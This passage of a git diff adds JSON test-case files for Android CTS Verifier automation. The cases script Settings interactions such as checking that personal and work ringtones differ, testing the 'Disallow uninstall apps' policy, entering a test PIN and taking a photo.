ringtone\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":550.6666666666666,\"x2\":205.66666666666666,\"y2\":570.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-1.6666666666666856,\"y\":0.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Work phone ringtone\"},{\"uuid\":\"7b0489b4-0af8-4a80-97e8-5f005a28ad3c\",\"displayText\":\"The Big Adventure\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"The Big Adventure\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":570.3333333333334,\"x2\":172.0,\"y2\":588.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"The Big Adventure\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":536.0,\"x2\":345.3333333333333,\"y2\":602.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Work phone ringtone\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":536.0,\"x2\":360.0,\"y2\":602.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":137.5,\"y\":560.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":42.5,\"y\":9.333333333333258,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"bdc812d2-80a0-4e67-9935-d06a71e07d0e\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Work phone ringtone\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":59.0,\"y1\":548.0,\"x2\":216.0,\"y2\":572.0},\"scrollOrientation\":2,\"scrollMaxNumber\":10},{\"type\":\"PythonScriptAction\",\"name\":\"Turn off - Use personal profile sounds\",\"actionId\":\"fdbd3e1a-b7f9-49b0-944a-7ef440422630\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\n\\n\\nd = Device.create_device_by_slot(0)\\n\\nif d.text(\\\"Use personal profile sounds\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"true\\\").verify_exist():\\n    d.text(\\\"Use personal profile sounds\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"true\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Phone ringtone\",\"actionId\":\"748906c2-7f6c-46c8-afed-47c3b0fc6816\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Phone ringtone\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"a3023dff-082b-40f9-9e99-354f49d20e19\",\"displayText\":\"Phone ringtone\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"2d84b96f-a8fe-46b2-b3df-a06f1c2a040a\",\"displayText\":\"Phone ringtone\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"1cacb24b-d79a-4848-af17-82f4fa369d91\",\"displayText\":\"Phone ringtone\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Phone ringtone\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":528.6666666666666,\"x2\":167.33333333333334,\"y2\":548.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":1.1666666666666714,\"y\":2.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Phone ringtone\"},{\"uuid\":\"19c9feb7-f6c5-4d67-8ed1-b5f38c898be8\",\"displayText\":\"The Big Adventure\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"The Big Adventure\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":548.3333333333334,\"x2\":172.0,\"y2\":566.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"The Big Adventure\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":514.0,\"x2\":345.3333333333333,\"y2\":580.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Phone ringtone\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":514.0,\"x2\":360.0,\"y2\":580.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":115.5,\"y\":536.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":64.5,\"y\":11.333333333333258,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"1cacb24b-d79a-4848-af17-82f4fa369d91\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Phone ringtone\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":62.0,\"y1\":523.0,\"x2\":169.0,\"y2\":549.0},\"scrollOrientation\":1,\"scrollMaxNumber\":10},{\"type\":\"ClickAction\",\"name\":\"Click Action, Phone ringtone\",\"actionId\":\"41e16e70-66ab-4e72-baf7-ba80b73b9d7a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Phone ringtone\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Pixel Sounds\",\"actionId\":\"ac84be73-5081-4f90-b3a1-d817b54b4516\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Pixel Sounds\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Default notification sound\",\"actionId\":\"a661501b-7b9f-4319-bd1d-75c734d5d817\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Default notification sound\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Pixel Sounds\",\"actionId\":\"ca992073-73e1-410e-b3db-e6d5b73cd45a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Pixel Sounds\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Default alarm sound\",\"actionId\":\"5c0e8c0c-9521-4977-90a0-4575aae53ebf\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Default alarm sound\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Pixel Sounds\",\"actionId\":\"6a4f1ed1-106b-48b2-ae68-5d03fdf3c056\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Pixel Sounds\"},{\"type\":\"PythonScriptAction\",\"name\":\"Verify that the work sounds are different to the personal values just set.\",\"actionId\":\"97ee805f-07a5-4333-b361-8ca147924dbf\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.uicd_python_util import UICDPythonUtil\\n\\n\\nd= Device.create_device_by_slot(0)\\n \\npersonal_phone_ring = dict(d.text(\\\"Phone ringtone\\\").sibling().get_attributes())[\\\"text\\\"]\\nprint(\\\"Phone ringtone:\\\", personal_phone_ring)\\npersonal_default_notification = dict(d.text(\\\"Default notification sound\\\").sibling().get_attributes())[\\\"text\\\"]\\nprint(\\\"Default notification sound:\\\", personal_default_notification)\\npersonal_default_alarm = dict(d.text(\\\"Default alarm sound\\\").sibling().get_attributes())[\\\"text\\\"]\\nprint(\\\"Default alarm sound:\\\", personal_default_alarm)\\nd.swipe_up()\\nwork_phone_ring = dict(d.text(\\\"Work phone ringtone\\\").sibling().get_attributes())[\\\"text\\\"]\\nprint(\\\"Work phone ringtone:\\\", work_phone_ring)\\nwork_default_notification = dict(d.text(\\\"Default work notification sound\\\").sibling().get_attributes())[\\\"text\\\"]\\nprint(\\\"Default work notification sound:\\\", work_default_notification)\\nwork_default_alarm = dict(d.text(\\\"Default work alarm sound\\\").sibling().get_attributes())[\\\"text\\\"]\\nprint(\\\"Default work alarm sound:\\\", work_default_alarm)\\n\\nif personal_phone_ring != work_phone_ring and personal_default_notification != work_default_notification and personal_default_alarm != work_default_alarm:\\n    d.back()\\nelse:\\n    print(\\\"The ringtones should not be the same between Personal and Work.\\\")\\n    d.back()\\n    d.back()\\n    uicd_util = UICDPythonUtil()\\n    uicd_util.fail_test()\\n\\n \\n\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"cf1e8e8c-2104-46f1-8b28-4d372b86fc49\",\"d3c31cec-7b08-4148-bdb7-cfc2d9f5413a\",\"5f33ed69-53d9-4c79-bc5b-b41feaf0a65c\",\"b70fe893-88de-4879-90ab-c2929211baa8\",\"a3737847-5957-4a6a-a50c-242e80b93d8a\",\"67af81f1-6745-4cd0-981e-3c206c6e18e5\",\"fdbd3e1a-b7f9-49b0-944a-7ef440422630\",\"748906c2-7f6c-46c8-afed-47c3b0fc6816\",\"41e16e70-66ab-4e72-baf7-ba80b73b9d7a\",\"ac84be73-5081-4f90-b3a1-d817b54b4516\",\"8b466564-08e5-4322-8992-36fa3998ddd2\",\"05139d97-d39c-43cd-8ad4-a276c3fcf5a6\",\"a661501b-7b9f-4319-bd1d-75c734d5d817\",\"ca992073-73e1-410e-b3db-e6d5b73cd45a\",\"8b466564-08e5-4322-8992-36fa3998ddd2\",\"05139d97-d39c-43cd-8ad4-a276c3fcf5a6\",\"5c0e8c0c-9521-4977-90a0-4575aae53ebf\",\"6a4f1ed1-106b-48b2-ae68-5d03fdf3c056\",\"8b466564-08e5-4322-8992-36fa3998ddd2\",\"05139d97-d39c-43cd-8ad4-a276c3fcf5a6\",\"97ee805f-07a5-4333-b361-8ca147924dbf\",\"11862730-912f-4b3c-99d6-cff28c749559\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"13_Personal ringtones","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.306000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ad921587-e363-4652-ae6b-9d95ff9bba16 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ad921587-e363-4652-ae6b-9d95ff9bba16
new file mode 100644
index 0000000..582e792
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ad921587-e363-4652-ae6b-9d95ff9bba16
@@ -0,0 +1 @@
+{"uuid":"ad921587-e363-4652-ae6b-9d95ff9bba16","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify  if screen back to Logout\",\"actionId\":\"ad921587-e363-4652-ae6b-9d95ff9bba16\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"Verify if screen back  to Logout\",\"actionId\":\"b6159057-6f85-4a20-acab-3fd79a7b13f7\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_TRUE\",\"query\":{\"condition\":\"or\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Set up device owner\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Logout\"}]},\"clickAfterValidation\":false},{\"type\":\"WaitAction\",\"name\":\"WAIT 15 secs for device out of Managed user\",\"actionId\":\"6c4d9d45-0537-4739-87c4-c7a260767ec2\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":15000,\"createdBy\":\"riacheltseng\"}],\"childrenIdList\":[\"b6159057-6f85-4a20-acab-3fd79a7b13f7\",\"b50df53e-f816-49d2-b907-500f3f4f3b5a\",\"6c4d9d45-0537-4739-87c4-c7a260767ec2\",\"ec014d61-87cd-4f31-bd58-01ea49f2fe46\",\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"d725d8a2-cb38-4a29-9857-a510943cf7fd\",\"b50df53e-f816-49d2-b907-500f3f4f3b5a\",\"b36ee844-6807-46a4-9073-3d5c83f730fd\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify  if screen back to Logout","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.206000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ae20d771-d892-4065-aa06-90335e33a588 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ae20d771-d892-4065-aa06-90335e33a588
new file mode 100644
index 0000000..88bf616
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ae20d771-d892-4065-aa06-90335e33a588
@@ -0,0 +1 @@
+{"uuid":"ae20d771-d892-4065-aa06-90335e33a588","details":"{\"type\":\"CompoundAction\",\"name\":\"17-06-07-Disallow uninstall apps\",\"actionId\":\"ae20d771-d892-4065-aa06-90335e33a588\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow uninstall apps\",\"actionId\":\"a4265c2c-226e-4cba-8171-623ac76551a4\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow uninstall apps\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to find \\\"Keep Notes\\\"\",\"actionId\":\"b3a085b8-0247-48c8-aa56-6ad989e4f14f\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Keep Notes\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"b821ad62-577f-444b-b1c6-749f52ab6283\",\"displayText\":\"Keep Notes\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"fb5cb26b-3d50-46dc-9e71-7d9ea220f0b5\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"e0b3fc0a-d6b5-490b-b44f-e8336762357b\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":291.25,\"x2\":42.0,\"y2\":319.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":287.75,\"x2\":63.0,\"y2\":322.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"6c76d5f7-c179-4682-9f25-8b2ddc66164b\",\"displayText\":\"Keep Notes\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"15f94e43-3705-4ed2-bec2-cf5550715b66\",\"displayText\":\"Keep Notes\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Keep Notes\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":287.5,\"x2\":136.5,\"y2\":306.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-1.25,\"y\":0.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Keep Notes\"},{\"uuid\":\"230e24b7-c920-4529-b893-f0b550c7d9dc\",\"displayText\":\"29.57 MB\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"29.57 MB\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":306.5,\"x2\":346.0,\"y2\":323.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"29.57 MB\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":273.5,\"x2\":346.0,\"y2\":337.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Keep Notes\"}],\"className\":\"android.widget.LinearLayout\",\"contentDesc\":\"Keep Notes\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":273.5,\"x2\":360.0,\"y2\":337.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":101.0,\"y\":296.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":79.0,\"y\":8.75,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"15f94e43-3705-4ed2-bec2-cf5550715b66\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Keep Notes\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":53.0,\"y1\":285.0,\"x2\":149.0,\"y2\":308.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Keep Notes\",\"actionId\":\"7325e53f-5f33-4e37-83ab-41e7c46c7bfd\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Keep Notes\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Uninstall button\",\"actionId\":\"c80d64c6-fdbd-4711-b43f-f7e80897d884\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.settings:id/button2\"}],\"childrenIdList\":[\"a4265c2c-226e-4cba-8171-623ac76551a4\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"b3a085b8-0247-48c8-aa56-6ad989e4f14f\",\"7325e53f-5f33-4e37-83ab-41e7c46c7bfd\",\"c80d64c6-fdbd-4711-b43f-f7e80897d884\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"17-06-07-Disallow uninstall apps","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.204000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/af677fa8-0e4c-4c4e-9159-f91129b44e83 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/af677fa8-0e4c-4c4e-9159-f91129b44e83
new file mode 100644
index 0000000..6f9c93c
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/af677fa8-0e4c-4c4e-9159-f91129b44e83
@@ -0,0 +1 @@
+{"uuid":"af677fa8-0e4c-4c4e-9159-f91129b44e83","details":"{\"type\":\"CompoundAction\",\"name\":\"Enter PIN number \\\"14725836\\\"\",\"actionId\":\"af677fa8-0e4c-4c4e-9159-f91129b44e83\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"InputAction\",\"name\":\"INPUT number 14725836\",\"actionId\":\"a0d51bf7-589f-4d4e-978f-5315d8b05253\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":0,\"inputString\":\"14725836\",\"isSingleChar\":false}],\"childrenIdList\":[\"a0d51bf7-589f-4d4e-978f-5315d8b05253\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Enter PIN number \"14725836\"","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.263000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/afa8e79c-e104-4611-830d-f7aac106a6a6 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/afa8e79c-e104-4611-830d-f7aac106a6a6
new file mode 100644
index 0000000..f95b2c5
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/afa8e79c-e104-4611-830d-f7aac106a6a6
@@ -0,0 +1 @@
+{"uuid":"afa8e79c-e104-4611-830d-f7aac106a6a6","details":"{\"type\":\"CompoundAction\",\"name\":\"Click \\\"Take Photo\\\" button\",\"actionId\":\"afa8e79c-e104-4611-830d-f7aac106a6a6\",\"actionType\":\"COMPOUND_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, id/take_picture_button\",\"actionId\":\"837f91ff-6f9e-4cef-ab56-50f87eda09b5\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/take_picture_button\"}],\"childrenIdList\":[\"837f91ff-6f9e-4cef-ab56-50f87eda09b5\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click \"Take Photo\" button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.013000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b17bcc33-34e0-4aba-a8ce-080ea0d0846c b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b17bcc33-34e0-4aba-a8ce-080ea0d0846c
new file mode 100644
index 0000000..f7fe520
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/b17bcc33-34e0-4aba-a8ce-080ea0d0846c
@@ -0,0 +1 @@
